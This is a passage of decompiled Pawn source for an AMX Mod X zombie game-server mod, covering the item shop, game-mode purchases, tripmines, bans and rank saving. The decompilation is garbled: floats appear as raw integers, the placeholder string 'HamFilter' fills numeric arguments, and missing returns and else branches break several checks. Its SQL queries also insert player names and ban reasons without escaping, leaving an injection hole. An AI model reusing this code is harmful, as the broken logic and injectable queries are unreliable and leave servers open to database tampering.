- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You\x03 already bought\x01 a game mode this map!");
- }
- else
- {
- if (floatsub(fGameTime, g_fRoundStartTime) < 1077936128)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Please wait at least\x04 three seconds\x01 after the round begining!");
- }
- if (cTime[0] == 48)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You can't be\x03 Sniper\x01 during night...");
- }
- new var7;
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
- {
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- StartSniperMode(iPlayer);
- remove_task(700, "HamFilter");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Sniper", g_cName[iPlayer]);
- copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
- g_iModeRecordings += 1;
- g_iSnipers += 1;
- }
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Sorry but you can't buy right now...");
- }
- }
- case 22:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = true;
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i], g_cName[iPlayer], "HamFilter"))
- {
- bDone = false;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You\x03 already bought\x01 a game mode this map!");
- }
- else
- {
- if (floatsub(fGameTime, g_fRoundStartTime) < 1077936128)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Please wait at least\x04 three seconds\x01 after the round begining!");
- }
- new var6;
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
- {
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- StartNemesisMode(iPlayer);
- remove_task(700, "HamFilter");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Nemesis", g_cName[iPlayer]);
- copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
- g_iModeRecordings += 1;
- }
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Sorry but you can't buy right now...");
- }
- }
- case 23:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = true;
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i], g_cName[iPlayer], "HamFilter"))
- {
- bDone = false;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You\x03 already bought\x01 a game mode this map!");
- }
- else
- {
- if (floatsub(fGameTime, g_fRoundStartTime) < 1077936128)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Please wait at least\x04 three seconds\x01 after the round begining!");
- }
- new var5;
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
- {
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- StartAssassinMode(iPlayer);
- remove_task(700, "HamFilter");
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Assassin", g_cName[iPlayer]);
- copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
- g_iModeRecordings += 1;
- }
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Sorry but you can't buy right now...");
- }
- }
- case 24:
- {
- if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough ammo packs!");
- return 0;
- }
- new var2;
- if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- return 0;
- }
- g_iBlinks[iPlayer] += 6;
- g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public _ShopMenu(iPlayer, iMenu, iItem)
- {
- new var1;
- if (iItem != -3 && g_bConnected[iPlayer])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- new var7;
- if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- }
- if (!g_bAlive[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You should be alive!");
- }
- g_bDoubleDamage[iPlayer] = 1;
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Double Damage!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Double Damage", g_cName[iPlayer]);
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- SaveRank(iPlayer);
- }
- }
- case 1:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- new var6;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 114))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have this feature!");
- }
- g_bServerSlot[iPlayer] = 1;
- client_cmd(iPlayer, "messagemode amx_password_for_slot");
- set_task(1045220557, "TaskPrintPassword", iPlayer, 318308, "HamFilter", 449556, 15);
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- SaveRank(iPlayer);
- }
- }
- case 2:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- new var5;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109))
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You already have this feature!");
- }
- g_bAdminModel[iPlayer] = 1;
- client_cmd(iPlayer, "messagemode amx_password_for_model");
- set_task(1045220557, "TaskPrintPassword", iPlayer, 318308, "HamFilter", 450204, 15);
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- SaveRank(iPlayer);
- }
- }
- case 3:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- g_iPacks[iPlayer] += 100;
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 100 ammo packs", g_cName[iPlayer]);
- SaveRank(iPlayer);
- }
- }
- case 4:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- g_iPacks[iPlayer] += 200;
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 200 ammo packs", g_cName[iPlayer]);
- SaveRank(iPlayer);
- }
- }
- case 5:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- g_iPacks[iPlayer] += 300;
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 300 ammo packs", g_cName[iPlayer]);
- SaveRank(iPlayer);
- }
- }
- case 6:
- {
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- new var4;
- if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- }
- if (!g_bAlive[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You should be alive!");
- }
- g_bNoDamage[iPlayer] = 1;
- set_take_damage(iPlayer, "HamFilter");
- set_glow(iPlayer, 19, 32, 192, 255, 62);
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought God Mode!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 God Mode", g_cName[iPlayer]);
- SaveRank(iPlayer);
- }
- }
- case 7:
- {
- static iAlive;
- iAlive = GetAliveCount();
- if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You don't have enough points!");
- }
- else
- {
- new var2;
- if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 This item is not for your team!");
- }
- new var3;
- if (g_bRoundStart && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You can't buy this feature right now!");
- }
- StartArmageddonMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
- set_hudmessage(205, 102, 29, -1082130432, 1060320051, 1, "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iEventsHudmessage, "%s bought Armageddon Round through points!", g_cName[iPlayer]);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Armageddon Round\x01 through points!", g_cName[iPlayer]);
- SaveRank(iPlayer);
- }
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public CmdLast(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 51))
- {
- static cAddress[24];
- static cName[32];
- static i;
- i = 0;
- while (i < g_iSize)
- {
- GetInfo(i, cName, 32, cAddress, 24);
- console_print(iPlayer, "%32s %24s", cName, cAddress);
- i += 1;
- }
- }
- return 0;
- }
- public CmdAddBan(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 100))
- {
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (!floatsub(fGameTime, g_fLastBanQuery) >= 1086324736)
- {
- console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
- return 1;
- }
- g_fLastBanQuery = fGameTime;
- static iTime;
- static iArgumentsCount;
- static cReason[36];
- static cTime[15];
- static cTarget[32];
- static cTargetName[32];
- read_argv(1, cTargetName, 32);
- read_argv(2, cTarget, 32);
- read_argv("", cTime, 6);
- read_argv(4, cReason, 36);
- iTime = str_to_num(cTime);
- if (0 > iTime)
- {
- iTime = 0;
- }
- if (iTime > 175000)
- {
- iTime = 175000;
- }
- if (0 < iTime)
- {
- iTime = iTime * 60;
- }
- iArgumentsCount = read_argc();
- new var2;
- if (iArgumentsCount == 5 && !strlen(cReason) && !strlen(cTarget) && !strlen(cTargetName))
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
- }
- static cTimeLength[32];
- static cQuery[512];
- if (0 < iTime)
- {
- GetTimeLength(iTime / 60, cTimeLength, 32);
- formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', ( unix_timestamp( now( ) ) + %d ), '%s', unix_timestamp( now( ) ), '%s' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, iTime, cTarget, cTimeLength);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, 322540, "HamFilter");
- }
- else
- {
- formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', 0, '%s', unix_timestamp( now( ) ), 'Permanently' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, cTarget);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, 322540, "HamFilter");
- }
- if (0 < iTime)
- {
- AddCommas(iTime / 60, cTime, 14);
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 banned\x04 %s\x01 for\x03 %s\x01 minutes due to\x03 %s", g_cName[iPlayer], cTargetName, cTime, cReason);
- }
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 banned\x04 %s\x01 permanently due to\x03 %s", g_cName[iPlayer], cTargetName, cReason);
- }
- return 1;
- }
- GetZombies()
- {
- static iNum;
- static i;
- iNum = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bAlive[i] && g_bZombie[i])
- {
- iNum += 1;
- }
- i += 1;
- }
- return iNum;
- }
- GetHumans()
- {
- static iNum;
- static i;
- iNum = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bAlive[i] && !g_bZombie[i])
- {
- iNum += 1;
- }
- i += 1;
- }
- return iNum;
- }
- public Func_Take(iPlayer)
- {
- g_bRemoving[iPlayer] = 0;
- static iCount;
- static iEntities[2];
- iCount = ent(iPlayer, iEntities);
- if (iCount)
- {
- g_iPlantedMines[iPlayer]--;
- g_iTripMines[iPlayer]++;
- if (iEntities[0] == g_iPlayerMines[iPlayer][0])
- {
- g_iPlayerMines[iPlayer][0] = 0;
- }
- if (iEntities[0] == g_iPlayerMines[iPlayer][1])
- {
- g_iPlayerMines[iPlayer][1] = 0;
- }
- remove_entity(iEntities[0]);
- }
- return 0;
- }
- bool:CanPlant(iPlayer)
- {
- static Float:fNormal[3];
- static Float:fTraceResult[3];
- static Float:fTraceEnd[3];
- static Float:fTraceDirection[3];
- static Float:fOrigin[3];
- get_origin(iPlayer, fOrigin);
- velocity_by_aim(iPlayer, 64, fTraceDirection);
- fTraceEnd[0] = floatadd(fTraceDirection[0], fOrigin[0]);
- fTraceEnd[1] = floatadd(fTraceDirection[1], fOrigin[1]);
- fTraceEnd[2] = floatadd(fTraceDirection[2], fOrigin[2]);
- if (trace_line(fOrigin, fTraceEnd, iPlayer, fTraceResult, fNormal) >= 1065353216)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You must plant the\x03 mine\x01 on a wall!");
- return false;
- }
- return true;
- }
- public Func_Plant(iPlayer)
- {
- g_bPlanting[iPlayer] = 0;
- static Float:fEntAngles[3];
- static Float:fNewOrigin[3];
- static iEntity;
- static Float:fNormal[3];
- static Float:fTraceResult[3];
- static Float:fTraceEnd[3];
- static Float:fTraceDirection[3];
- static Float:fOrigin[3];
- get_origin(iPlayer, fOrigin);
- velocity_by_aim(iPlayer, 128, fTraceDirection);
- fTraceEnd[0] = floatadd(fTraceDirection[0], fOrigin[0]);
- fTraceEnd[1] = floatadd(fTraceDirection[1], fOrigin[1]);
- fTraceEnd[2] = floatadd(fTraceDirection[2], fOrigin[2]);
- trace_line(fOrigin, fTraceEnd, iPlayer, fTraceResult, fNormal);
- iEntity = create_mine();
- if (!iEntity > 0)
- {
- return 0;
- }
- set_pev(iEntity, 5, 4096);
- set_pev(iEntity, 4, iPlayer);
- g_iPlantedMines[iPlayer]++;
- set_pev(iEntity, 6, "HamFilter");
- set_pev(iEntity, 7, "HamFilter");
- set_pev(iEntity, "HamFilter", 5);
- set_pev(iEntity, 1, "HamFilter");
- set_pev(iEntity, 8, "");
- set_pev(iEntity, 9, 7);
- set_take_damage(iEntity, "HamFilter");
- set_pev(iEntity, "", "HamFilter");
- fNewOrigin[0] = floatadd(fTraceResult[0], floatmul(1090519040, fNormal[0]));
- fNewOrigin[1] = floatadd(fTraceResult[1], floatmul(1090519040, fNormal[1]));
- fNewOrigin[2] = floatadd(fTraceResult[2], floatmul(1090519040, fNormal[2]));
- set_origin(iEntity, fNewOrigin);
- vector_to_angle(fNormal, fEntAngles);
- set_angles(iEntity, fEntAngles);
- new var1 = fEntAngles;
- var1[0] = floatmul(-1082130432, var1[0]);
- new var2 = fEntAngles[1];
- var2 = floatmul(-1082130432, var2);
- new var3 = fEntAngles[2];
- var3 = floatmul(-1082130432, var3);
- set_v_angle(iEntity, fEntAngles);
- g_iTripMines[iPlayer]--;
- if (g_iPlayerMines[iPlayer][0])
- {
- g_iPlayerMines[iPlayer][1] = iEntity;
- }
- else
- {
- g_iPlayerMines[iPlayer][0] = iEntity;
- }
- sound(iEntity, "", "ZombieOutstanding/mine_deploy.wav");
- sound(iEntity, "", "ZombieOutstanding/mine_charge.wav");
- set_nextthink(iEntity, floatadd(1058642330, get_gametime()));
- return 0;
- }
- Func_Explode(iEntity)
- {
- static cDamage[15];
- static i;
- static Float:fDamage;
- static iDistance;
- static Float:fVelocity[3];
- static iHealth;
- static Float:fOrigin[3];
- static iOwner;
- iOwner = pev(iEntity, 4);
- if (iEntity == g_iPlayerMines[iOwner][0])
- {
- g_iPlayerMines[iOwner][0] = 0;
- }
- if (iEntity == g_iPlayerMines[iOwner][1])
- {
- g_iPlayerMines[iOwner][1] = 0;
- }
- g_iPlantedMines[iOwner]--;
- get_origin(iEntity, fOrigin);
- Func_Explosion(iEntity);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i])
- {
- iDistance = range(i, iEntity);
- if (iDistance < 360)
- {
- iHealth = get_health(i);
- get_velocity(i, fVelocity);
- new var1 = fVelocity[2];
- var1 = floatadd(1139015680, var1);
- new var2 = fVelocity[1];
- var2 = floatadd(1134559232, var2);
- new var3 = fVelocity;
- var3[0] = floatadd(1133871104, var3[0]);
- set_velocity(i, fVelocity);
- send_screen_shake(i);
- client_cmd(i, "spk fvox/flatline");
- if (g_bZombie[i])
- {
- fDamage = float(floatround(floatsub(1159888896, floatmul(floatdiv(1159888896, 1137180672), float(iDistance))), 2));
- if (g_iPlayerType[i])
- {
- if (g_bDoubleDamage[iOwner])
- {
- AddCommas(floatround(floatmul(1073741824, fDamage), "HamFilter"), cDamage, 14);
- }
- else
- {
- AddCommas(floatround(fDamage, "HamFilter"), cDamage, 14);
- }
- PrintToChat(iOwner, "\x04[Zombie Outstanding]\x01 Damage to\x04 %s\x01 ::\x04 %s\x01 damage", g_cName[i], cDamage);
- }
- else
- {
- if (g_bDoubleDamage[iOwner])
- {
- AddCommas(floatround(floatmul(1069547520, fDamage), "HamFilter"), cDamage, 14);
- }
- else
- {
- AddCommas(floatround(floatmul(1061158912, fDamage), "HamFilter"), cDamage, 14);
- }
- PrintToChat(iOwner, "\x04[Zombie Outstanding]\x01 Damage to\x04 %s\x01 ::\x04 %s\x01 damage", g_cName[i], cDamage);
- }
- send_screen_fade(i);
- if (iHealth > fDamage)
- {
- ExecuteHamB(9, i, iEntity, iOwner, fDamage, 64);
- }
- ExecuteHamB(11, i, iOwner, 2);
- Make_Explosion(i, iOwner);
- g_Hidden[i] = 1;
- }
- }
- }
- i += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- GetTarget(iPlayer, cTarget[], iFlags)
- {
- static iResult;
- static iTargets;
- static iTarget;
- iTargets = 0;
- iTarget = 1;
- while (g_iMaxClients + 1 > iTarget)
- {
- new var1;
- if (g_bConnected[iTarget] && containi(g_cName[iTarget], cTarget) != -1)
- {
- new var2;
- if (!(iFlags & 2 && !is_user_alive(iTarget)))
- {
- new var3;
- if (!(iFlags & 4 && AdminHasFlag(iTarget, 105) && iTarget != iPlayer))
- {
- iResult = iTarget;
- iTargets += 1;
- }
- iTarget += 1;
- }
- iTarget += 1;
- }
- iTarget += 1;
- }
- if (iTargets != 1)
- {
- static iMatch;
- new var4;
- if (cTarget[0] == 35 && (iMatch = GetUserIdMatch(cTarget)))
- {
- return iMatch;
- }
- return 0;
- }
- return iResult;
- }
- GetUserIdMatch(cTarget[])
- {
- new i;
- new iTarget;
- new cNumber[32];
- copy(cNumber, 32, cTarget[1]);
- iTarget = str_to_num(cNumber);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bConnected[i] && get_user_userid(i) == iTarget)
- {
- return i;
- }
- i++;
- }
- return 0;
- }
- Func_Explosion(iEntity)
- {
- static iVariable;
- iVariable = 1;
- while (iVariable < 5)
- {
- send_explosion(iEntity);
- iVariable += 1;
- }
- iVariable = 1;
- while (iVariable < 5)
- {
- send_beam_cylinder(iEntity, 121, 121, 121, random_num(100, 250));
- iVariable += 1;
- }
- return 0;
- }
- xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
- {
- fOut[0] = floatmul(fVec[0], fScalar);
- fOut[1] = floatmul(fVec[1], fScalar);
- fOut[2] = floatmul(fVec[2], fScalar);
- return 0;
- }
- xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
- {
- fOut[0] = floatadd(fFirst[0], fSecond[0]);
- fOut[1] = floatadd(fFirst[1], fSecond[1]);
- fOut[2] = floatadd(fFirst[2], fSecond[2]);
- return 0;
- }
- Float:GetEntitySpeed(iEntity)
- {
- static Float:fVelocity[3];
- get_velocity(iEntity, fVelocity);
- return vector_length(fVelocity);
- }
- public TaskSaveRankPlayer(iPlayer)
- {
- new var1;
- if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
- {
- formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- }
- return 0;
- }
- SaveRank(iPlayer)
- {
- new var1;
- if (g_bRanked[iPlayer] && g_bConnected[iPlayer])
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- g_fLastQuery = fCurrentTime;
- formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- }
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "TaskSaveRankPlayer", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- CheckLastPlayer(iPlayer)
- {
- new var1;
- if (g_bRoundEnd || task_exists(550, "HamFilter"))
- {
- return 0;
- }
- static i;
- static iPlayersNum;
- iPlayersNum = GetAliveCount();
- if (iPlayersNum < 2)
- {
- return 0;
- }
- new var2;
- if (g_bZombie[iPlayer] && GetZombies() == 1)
- {
- new var3;
- if (GetHumans() == 1 && GetCTs() == 1)
- {
- return 0;
- }
- do {
- } while (iPlayer == (i = GetRandomAlive()));
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Last zombie,\x03 %s\x01 disconnected,\x04 %s\x01 is the last zombie!", g_cName[iPlayer], g_cName[i]);
- if (g_iPlayerType[iPlayer] & 1)
- {
- MakeZombie(0, i, false, true, false);
- set_health(i, get_health(iPlayer));
- }
- else
- {
- if (g_iPlayerType[iPlayer] & 2)
- {
- MakeZombie(0, i, false, false, true);
- set_health(i, get_health(iPlayer));
- }
- MakeZombie(0, i, false, false, false);
- }
- }
- else
- {
- new var4;
- if (!g_bZombie[iPlayer] && GetHumans() == 1)
- {
- new var5;
- if (GetZombies() == 1 && GetTs() == 1)
- {
- return 0;
- }
- do {
- } while (iPlayer == (i = GetRandomAlive()));
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Last human,\x03 %s\x01 disconnected,\x04 %s\x01 is the last human!", g_cName[iPlayer], g_cName[i]);
- if (g_iPlayerType[iPlayer] & 4)
- {
- MakeHuman(i, true, false);
- set_health(i, get_health(iPlayer));
- }
- if (g_iPlayerType[iPlayer] & 8)
- {
- MakeHuman(i, false, true);
- set_health(i, get_health(iPlayer));
- }
- MakeHuman(i, false, false);
- }
- }
- return 0;
- }
- GetCTs()
- {
- static iCount;
- static i;
- iCount = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bConnected[i] && get_team(i) == 2)
- {
- iCount += 1;
- }
- i += 1;
- }
- return iCount;
- }
- GetTs()
- {
- static iCount;
- static i;
- iCount = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bConnected[i] && get_team(i) == 1)
- {
- iCount += 1;
- }
- i += 1;
- }
- return iCount;
- }
- GetAliveCount()
- {
- static iCount;
- static i;
- iCount = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i])
- {
- iCount += 1;
- }
- i += 1;
- }
- return iCount;
- }
- GetRandomAlive()
- {
- static j;
- static i;
- static iPlayers[32];
- j = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i])
- {
- iPlayers[j] = i;
- j += 1;
- }
- i += 1;
- }
- return iPlayers[random_num("HamFilter", j + -1)];
- }
- public SQLLoadedRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- g_bRanked[str_to_num(cData)] = 1;
- show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
- return 0;
- }
- MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
- {
- if (g_iZombieNextClass[iVictim] == -1)
- {
- set_task(1045220557, "ShowMenuClasses", iVictim, 318308, "HamFilter", 318312, "HamFilter");
- }
- g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
- if (g_iZombieClass[iVictim] == -1)
- {
- g_iZombieClass[iVictim] = 0;
- }
- if (get_user_jetpack(iVictim))
- {
- user_drop_jetpack(iVictim, 1);
- }
- g_bZombie[iVictim] = 1;
- g_bGolden[iVictim] = 0;
- g_bKilling[iVictim] = 0;
- set_zombie(iVictim, 1);
- g_iBurningDuration[iVictim] = 0;
- g_iPlayerType[iVictim] = 0;
- set_monster(iVictim, "HamFilter");
- g_bNoDamage[iVictim] = 0;
- remove_glow(iVictim);
- g_bFrozen[iVictim] = 0;
- set_frozen(iVictim, "HamFilter");
- remove_task(iVictim + 200, "HamFilter");
- remove_task(iVictim + 250, "HamFilter");
- if (iAttacker)
- {
- send_death_msg(iAttacker, iVictim);
- send_score_attrib(iVictim);
